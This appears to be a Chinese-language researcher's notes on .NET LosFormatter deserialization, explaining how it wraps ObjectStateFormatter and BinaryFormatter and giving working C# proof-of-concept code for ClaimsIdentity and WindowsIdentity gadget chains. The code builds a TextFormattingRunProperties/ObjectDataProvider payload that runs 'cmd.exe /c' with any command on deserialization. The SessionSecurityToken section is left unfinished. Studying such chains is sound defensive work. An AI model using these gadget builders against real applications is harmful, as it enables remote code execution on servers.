LosFormatter反序列化链
前言:记录LosFormatter反序列化链
参考文章:https://xz.aliyun.com/t/9597
参考文章:https://www.anquanke.com/post/id/176786
LogFormatter
LosFormatter封装在System.Web.dll中,命名空间为System.Web.UI。
LosFormatter一般也是用于序列化和反序列化Web窗体页的视图状态(ViewState),如果要把ViewState通过数据库或其他持久化设备来维持,则需要采用特定的LosFormatter类来序列化/反序列化
微软官方的阐述是有限的对象序列化(LOS)格式专门为高度精简的ASCII格式序列化,此类支持序列化的任何对象图。
无参数的构造函数表示不使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。
两个参数的构造方法表示使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。
注意:使用LosFormatter序列化对象仍需要标记[Serializable]
LosFormatter简单的示例代码,如下所示
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
namespace SerializationCollection
{
class Program
{
[Serializable]
class Person
{
private string name;
public string Name
{
get { return name; }
set { name = value; }
}
private int age;
public int Age
{
get { return age; }
set { age = value; }
}
public Person(string name, int age)
{
Name = name;
Age = age;
}
public void SayHello()
{
Console.WriteLine("hello");
}
}
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
losFormatter.Serialize(memory, new Person("jack", 15));
memory.Position = 0;
Person p = (Person)losFormatter.Deserialize(memory);
p.SayHello();
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
Console.ReadKey();
}
}
}
LosFormatter序列化和反序列化的过程
这里可以通过dnspy来进行调试,如下所示
序列化过程
这边Serialize函数跟进去
来到Serialize(Stream stream, object value)
跟进this.SerializeInternal(textWriter, value);,SerializeInternal主要进行序列化过程
继续跟进this._formatter.Serialize(value);,stateGraph是要序列化的对象,这里的话就是Person对象
this.Serialize(memoryStream, stateGraph);,下面的图中可以看到最终序列化是通过ObjectStateFormatter来进行的
继续在序列化当前Person对象的name字段的时候,这里的话就会用到BinaryFormatter对象
最后将序列化完的数据进行base64编码进行返回,如下所示
反序列化过程
反序列化的时候首先会进行base64解码的操作
对应的也会使用到ObjectStateFormatter和BinaryFormatter来进行反序列化操作
ClaimsIdentity利用链
ClaimsIdentity中有多种触发方式,其中一种是利用自身的m_bootstrapContext字段,如果m_bootstrapContext存在的话那么在序列化的过程的就会将该字段写入
反序列化利用测试代码如下所示
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace SerializationCollection
{
class Program
{
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = textFormattingRunPropertiesMarshal;
losFormatter.Serialize(memory, my);
memory.Position = 0;
losFormatter.Deserialize(memory);
}
Console.ReadKey();
}
}
[Serializable]
public class My
{
public object o;
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}
堆栈调用过程如下所示,可以看到反序列化的时候LogFormatter->ObjectStateFormatter->BinaryFormatter
最终触发TextFormattingRunProperties的攻击链,如下所示
WindowsIdentity利用链
命名空间位于:System.Security.Principal,WindowsIdentity继承了ClaimsIdentity对象
反序列化构造函数和序列化函数GetObjectData的实现
从上面可以看到在调用反序列化构造函数的时候,会调用父类的反序列化构造函数
继续跟进去 Deserialize(info, default(StreamingContext), useContext: false);,可以发现有三处地方都会通过BinaryFormatter来进行反序列化操作
反序列化的对象分别是System.Security.ClaimsIdentity.actor,System.Security.ClaimsIdentity.claims,System.Security.ClaimsIdentity.bootstrapContext
因为这边还是通过BinaryFormatter来进行反序列化操作的,所以这边同样可以进行利用TextFormattingRunProperties即可
反序列化测试代码如下
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Security.Claims;
using System.Security.Principal;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace SerializationCollection
{
class Program
{
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
BinaryFormatter bf = new BinaryFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
bf.Serialize(memory, textFormattingRunPropertiesMarshal);
string b64payload = Convert.ToBase64String(memory.ToArray());
WindowsIdentityIdentityMarshal windowsIdentityIdentityMarshal = new WindowsIdentityIdentityMarshal(b64payload);
memory.Position = 0;
losFormatter.Serialize(memory, windowsIdentityIdentityMarshal);
memory.Position = 0;
losFormatter.Deserialize(memory);
}
Console.ReadKey();
}
}
[Serializable]
public class WindowsIdentityIdentityMarshal : ISerializable
{
public WindowsIdentityIdentityMarshal(string b64payload)
{
B64Payload = b64payload;
}
private string B64Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsIdentity));
info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}
测试结果如下所示,可以成功反序列化命令执行
SessionSecurityToken利用链
先放着先,感觉有点复杂